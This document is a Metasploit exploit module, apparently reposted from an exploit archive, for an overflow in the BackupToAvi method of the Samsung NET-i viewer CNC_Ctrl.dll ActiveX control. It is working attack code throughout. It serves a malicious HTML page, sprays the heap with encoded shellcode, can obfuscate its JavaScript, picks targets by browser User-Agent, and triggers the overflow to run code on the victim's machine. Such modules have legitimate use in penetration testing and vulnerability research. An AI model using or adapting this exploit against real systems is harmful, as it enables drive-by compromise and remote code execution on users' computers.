Samsung NET-i viewer – Multiple ActiveX ‘BackupToAvi()’ Remote Overflows (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Samsung NET-i viewer Multiple ActiveX BackupToAvi() Remote Overflow", 'Description' => %q{ This module exploits a vulnerability in the CNC_Ctrl.dll ActiveX installed with the Samsung NET-i viewer 1.37. Specifically, when supplying a long string for the fname parameter to the BackupToAvi method, an integer overflow occurs, which leads to a posterior buffer overflow due to the use of memcpy with an incorrect size, resulting in remote code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Luigi Auriemma', # Vulnerability Discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'OSVDB', '81453'], [ 'BID', '53193'], [ 'URL', 'http://aluigi.altervista.org/adv/netiware_1-adv.txt' ] ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "seh", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # Samsung NET-i viewer 1.37 # CNC_Ctrl.dll 1.5.1.1 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Ret' => 0x0c0c0c0c, 'Offset' => '0x800 - code.length', } ], [ 'IE 7 on Windows XP SP3', { 'Ret' => 0x0c0c0c0c, 'Offset' => '0x800 - code.length', } ] ], 'Privileged' => false, 'DisclosureDate' => "Apr 21 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent.to_s}") send_not_found(cli) return end print_status("Target set: #{my_target.name}") p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x200; i++) { heap_obj.alloc(block); } JS js = heaplib(js, {:noobfu => true}) #obfuscate on demand if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end bof = Rex::Text.to_unescape("\x0c" * 2048, Rex::Arch.endian(my_target.arch)) html = <<-EOS <html> <head> <script> #{js} </script> </head> <body> <object id="target1" classid="CLSID:3D6F2DBA-F4E5-40A6-8725-E99BC96CC23A"></object> <script> target1.BackupToAvi(0, 0, 0, unescape("#{bof}")); </script> <body> </html> EOS html = html.gsub(/^\t\t/, '') print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end |